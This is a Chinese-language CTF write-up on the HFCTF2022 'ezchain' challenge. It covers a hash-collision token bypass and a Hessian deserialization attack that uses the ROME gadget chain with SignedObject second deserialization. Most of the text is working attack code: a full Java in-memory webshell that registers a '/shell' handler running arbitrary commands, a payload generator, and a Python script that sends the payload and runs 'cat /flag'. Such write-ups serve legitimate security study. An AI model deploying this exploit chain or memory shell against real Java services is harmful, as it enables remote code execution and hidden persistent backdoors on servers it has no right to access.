主要结合HFCTF2022-ezchain讲
前言
这里的hessian链比较容易,用原生jdk就可以打。不过这里不出网,所以要注入内存马,也就是需要加载字节码。这样原生jdk链虽然可以,但是比较繁琐。这里给了ROME链,就结合ROME链打一个二次反序列化。内存马是WebHandler,不太常见,学习一下。
解题
这里偷懒,照搬别人的了。
首先是一个简单的hash碰撞,跟进去找到hashcode的计算方法:
逻辑很简单,乘31后加就是。看最后两位,只要满足31a+b=31c+d就行了,其中a=50,b=50,手算一个就行。这里找到其中一个,HFCTF201Q。
接下来就是hessian反序列化。这里复现的时候一开始依赖没下完整,以为是打原生jdk,后来才看到有rome链。这里rome链直接放别人的了。
二次反序列化
Rome链SignedObject二次反序列化已经比较熟悉了。
这里主要看看WebHandler内存马怎么写。
正常基于tomcat和spring的内存马都是通过上下文来获取request对象,本题目直接使用http handler搭建服务,我们该如何实现动态注册呢?
按照经验来讲Web中间件是多线程的应用,一般requst对象都会存储在线程对象中,可以通过Thread.currentThread()或Thread.getThreads()获取。
Thread.currentThread()–>group–>threads[1]–>target–>this$0–>contexts–>list[0]–>handler
内存马:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77
| import com.sun.net.httpserver.HttpExchange; import com.sun.net.httpserver.HttpHandler; import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.ByteArrayOutputStream; import java.io.IOException; import java.io.InputStream; import java.io.OutputStream; import java.lang.reflect.Field; import java.lang.reflect.Method;
public class memoryshell extends AbstractTranslet implements HttpHandler { static { Object o = Thread.currentThread(); try { Field groupField = o.getClass().getDeclaredField("group"); groupField.setAccessible(true); Object group = groupField.get(o);
Field threadsField = group.getClass().getDeclaredField("threads"); threadsField.setAccessible(true); Object t = threadsField.get(group);
Thread[] threads = (Thread[]) t; for (Thread thread : threads){ if(thread.getName().equals("Thread-2")){ Field targetField = thread.getClass().getDeclaredField("target"); targetField.setAccessible(true); Object target = targetField.get(thread);
Field thisField = target.getClass().getDeclaredField("this$0"); thisField.setAccessible(true); Object this$0 = thisField.get(target);
Method createContext = Class.forName("sun.net.httpserver.ServerImpl").getDeclaredMethod("createContext", String.class, HttpHandler.class); createContext.setAccessible(true); createContext.invoke(this$0,"/shell",new memoryshell()); } } } catch (Exception e) { e.printStackTrace(); } }
public void handle(HttpExchange t) throws IOException { String response = "MemoryShell"; String query = t.getRequestURI().getQuery(); String[] var3 = query.split("="); ByteArrayOutputStream output = null; if (var3[0].equals("cmd")){ InputStream inputStream = Runtime.getRuntime().exec(var3[1]).getInputStream(); output = new ByteArrayOutputStream(); byte[] buffer = new byte[4096]; int n = 0; while (-1 != (n = inputStream.read(buffer))) { output.write(buffer, 0, n); } } response+=("\n"+new String(output.toByteArray())); t.sendResponseHeaders(200, (long)response.length()); OutputStream os = t.getResponseBody(); os.write(response.getBytes()); os.close(); } public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { }
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { }
}
|
EXP:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88
| package com.ctf.ezchain;
import com.caucho.hessian.io.Hessian2Input; import com.caucho.hessian.io.Hessian2Output; import com.rometools.rome.feed.impl.EqualsBean; import com.rometools.rome.feed.impl.ObjectBean; import com.rometools.rome.feed.impl.ToStringBean; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import java.io.*; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths; import java.security.*; import java.util.Base64; import java.util.HashMap; import javax.xml.transform.Templates;
public class memEXP { public static void setValue(Object target, String name, Object value) throws Exception { Field field = target.getClass().getDeclaredField(name); field.setAccessible(true); field.set(target,value); } public static HashMap getObject() throws Exception { TemplatesImpl templates = new TemplatesImpl();
byte[] bytecodes = Files.readAllBytes(Paths.get("D:\\tmp\\memshell\\memoryshell.class")); setValue(templates,"_name", "aaa"); setValue(templates, "_bytecodes", new byte[][] {bytecodes}); setValue(templates,"_tfactory", new TransformerFactoryImpl()); ToStringBean toStringBean=new ToStringBean(Templates.class,templates); ToStringBean toStringBean1=new ToStringBean(String.class,"s"); ObjectBean objectBean=new ObjectBean(ToStringBean.class,toStringBean1); HashMap hashMap=new HashMap(); hashMap.put(objectBean,"snakin"); Field obj=EqualsBean.class.getDeclaredField("obj"); Field equalsBean=ObjectBean.class.getDeclaredField("equalsBean");
obj.setAccessible(true); equalsBean.setAccessible(true);
obj.set(equalsBean.get(objectBean),toStringBean);
return hashMap; }
public static void main(String[] args) throws Exception { HashMap evilhashMap=getObject();
KeyPairGenerator keyPairGenerator; keyPairGenerator = KeyPairGenerator.getInstance("DSA"); keyPairGenerator.initialize(1024); KeyPair keyPair = keyPairGenerator.genKeyPair(); PrivateKey privateKey = keyPair.getPrivate(); Signature signingEngine = Signature.getInstance("DSA");
SignedObject signedObject = new SignedObject(evilhashMap,privateKey,signingEngine);
ToStringBean toStringBean=new ToStringBean(SignedObject.class,signedObject); ToStringBean toStringBean1=new ToStringBean(String.class,"s");
ObjectBean objectBean=new ObjectBean(ToStringBean.class,toStringBean1);
HashMap hashMap=new HashMap(); hashMap.put(objectBean,"snakin");
Field obj= EqualsBean.class.getDeclaredField("obj"); Field equalsBean=ObjectBean.class.getDeclaredField("equalsBean");
obj.setAccessible(true); equalsBean.setAccessible(true);
obj.set(equalsBean.get(objectBean),toStringBean);
Hessian2Output hessianOutput1 = new Hessian2Output(new FileOutputStream("D:\\tmp\\payload.bin")); hessianOutput1.writeObject(hashMap); hessianOutput1.close();
}
}
|
python:
1 2 3 4 5 6 7 8 9 10 11 12
| import requests url = "http://fc468662-a072-4ff6-af4c-aa53ea6a8273.node4.buuoj.cn:81/?token=GeCTF2022" with open("hession.ser", "rb") as f: content = f.read() requests.post(url=url, data=content) url = "http://fc468662-a072-4ff6-af4c-aa53ea6a8273.node4.buuoj.cn:81/shell?cmd=cat /flag" text = requests.get(url).text print(text)
|
UnixPrintService链
这个这里先不讲了,之后单独开一篇文章
参考
CTF | 2022HFCTF ezchain
2022虎符CTF-Java部分